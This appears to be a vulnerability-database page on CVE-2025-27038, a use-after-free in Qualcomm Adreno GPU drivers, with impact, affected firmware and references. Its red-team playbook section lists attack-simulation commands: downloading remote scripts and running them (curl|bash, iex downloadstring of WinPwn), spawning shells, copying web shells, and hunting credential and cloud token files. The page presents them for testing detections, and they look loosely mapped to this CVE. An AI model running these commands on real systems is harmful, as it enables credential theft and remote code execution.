CVE-2025-27038
Overview
This vulnerability is a use-after-free memory corruption occurring within the Adreno GPU driver component used by Qualcomm Snapdragon devices. The flaw arises from improper management of memory objects during graphics rendering operations in the Chrome environment, specifically related to the handling of GPU command buffers. The affected component is the Adreno GPU driver firmware across multiple Qualcomm firmware versions, leading to unsafe memory access conditions.
Vulnerability Description
Memory corruption while rendering graphics using Adreno GPU drivers in Chrome.
Impact
An attacker can exploit this vulnerability without prior authentication but requires user interaction to initiate the malicious graphics rendering via Chrome. Successful exploitation allows execution of arbitrary code within the GPU driver context, potentially leading to full system compromise including elevated privileges. This can result in unauthorized access to sensitive data, disruption of device functionality, and lateral movement within the affected Qualcomm Snapdragon device environment.
Solution
Qualcomm has released security updates addressing this vulnerability in the June 2025 Security Bulletin available at https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html. Users should update affected Snapdragon firmware versions including ar8031, csra6620, csra6640, fastconnect_7800, and qca2066 to the latest patched releases as specified by Qualcomm. Following the vendor advisory instructions ensures remediation of the use-after-free condition in the Adreno GPU driver.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with memory corruption during graphics rendering in Adreno GPU drivers poses significant risks to systems utilizing Qualcomm's firmware across various platforms. This issue arises from improper handling of memory during the rendering process, which can lead to unexpected behavior or crashes. Memory corruption vulnerabilities are particularly dangerous as they can allow an attacker to manipulate memory allocations, potentially leading to arbitrary code execution. The affected products range from mobile platforms to audio and video collaboration systems, indicating a broad attack surface that could be exploited by malicious actors.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on web applications that leverage the affected GPU drivers for rendering graphics. An attacker could craft malicious web content that, when rendered by a vulnerable browser, triggers the memory corruption. This could result in the execution of arbitrary code within the context of the browser, allowing the attacker to gain unauthorized access to sensitive data or control over the user's system. Additionally, since many devices utilize these drivers for multimedia processing, the potential for exploitation extends beyond traditional web applications to any software relying on these graphics capabilities.
The real-world impact of this vulnerability can be substantial, particularly for businesses that rely on devices utilizing Qualcomm's firmware. Successful exploitation could lead to data breaches, loss of intellectual property, and significant reputational damage. The financial implications could also be severe, with potential regulatory fines and the costs associated with incident response and recovery. Furthermore, the widespread use of affected products in consumer devices means that the vulnerability could affect a large number of end-users, amplifying the risk to organizations that handle sensitive information.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware and software to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, employing intrusion detection systems can help identify unusual behavior indicative of exploitation attempts. Organizations should also conduct security awareness training for employees to recognize potential phishing attempts or malicious content that could exploit the vulnerability. Lastly, implementing strict access controls and monitoring can help limit the potential impact of any successful exploitation.
In conclusion, the memory corruption vulnerability in Adreno GPU drivers represents a significant threat to a wide range of devices and applications. The potential for exploitation through crafted web content highlights the importance of maintaining robust security practices. Organizations must remain vigilant, ensuring that they are prepared to detect and respond to such vulnerabilities effectively to safeguard their assets and maintain trust with their users.
Affected Products (44)
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Qualcomm | Ar8031 Firmware | N/A |
cpe:2.3:o:qualcomm:ar8031_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Csra6620 Firmware | N/A |
cpe:2.3:o:qualcomm:csra6620_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Csra6640 Firmware | N/A |
cpe:2.3:o:qualcomm:csra6640_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Fastconnect 7800 Firmware | N/A |
cpe:2.3:o:qualcomm:fastconnect_7800_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qca2066 Firmware | N/A |
cpe:2.3:o:qualcomm:qca2066_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qca6391 Firmware | N/A |
cpe:2.3:o:qualcomm:qca6391_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qcm6125 Firmware | N/A |
cpe:2.3:o:qualcomm:qcm6125_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qcm8550 Firmware | N/A |
cpe:2.3:o:qualcomm:qcm8550_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qcn9011 Firmware | N/A |
cpe:2.3:o:qualcomm:qcn9011_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qcn9012 Firmware | N/A |
cpe:2.3:o:qualcomm:qcn9012_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qcs6125 Firmware | N/A |
cpe:2.3:o:qualcomm:qcs6125_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Qcs8550 Firmware | N/A |
cpe:2.3:o:qualcomm:qcs8550_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Video Collaboration Vc1 Platform Firmware | N/A |
cpe:2.3:o:qualcomm:video_collaboration_vc1_platform_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Sm6475 Firmware | N/A |
cpe:2.3:o:qualcomm:sm6475_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Sm6650 Firmware | N/A |
cpe:2.3:o:qualcomm:sm6650_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Sm6650p Firmware | N/A |
cpe:2.3:o:qualcomm:sm6650p_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Sm7435 Firmware | N/A |
cpe:2.3:o:qualcomm:sm7435_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Sm7635 Firmware | N/A |
cpe:2.3:o:qualcomm:sm7635_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Sm7635p Firmware | N/A |
cpe:2.3:o:qualcomm:sm7635p_firmware:-:*:*:*:*:*:*:*
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Qualcomm | Smart Audio 400 Platform Firmware | N/A |
cpe:2.3:o:qualcomm:smart_audio_400_platform_firmware:-:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
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CAPEC Attack Patterns
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Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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No news articles found for this CVE.
References (3)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-27038 |
| docs.qualcomm.com |
GitHub CVE
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https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html |
| cisa.gov |
NVD API
US Government Resource
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https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-27038 |